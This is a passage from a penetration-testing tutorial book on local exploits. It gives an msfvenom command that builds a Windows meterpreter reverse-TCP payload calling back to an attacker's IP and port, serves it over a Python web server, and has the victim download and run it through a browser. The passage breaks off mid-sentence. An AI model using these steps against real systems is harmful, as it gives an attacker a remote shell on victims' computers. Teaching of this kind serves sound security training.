Learning Penetration Testing with Python

Understanding the purpose of local exploits

It should be noted that the same access could be achieved by executing a payload on the system. Generating such a payload would only require us to run the following command:

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -b '\x00' -f exe -o /tmp/exploit.exe

Then, start up a Python web server with the following command:

python -m SimpleHTTPServer

The following figure highlights the output of the relevant commands:

Then, achieve the desired results by downloading and executing the payload through a browser on the victims system.

So you may be asking yourself, Why did we create ...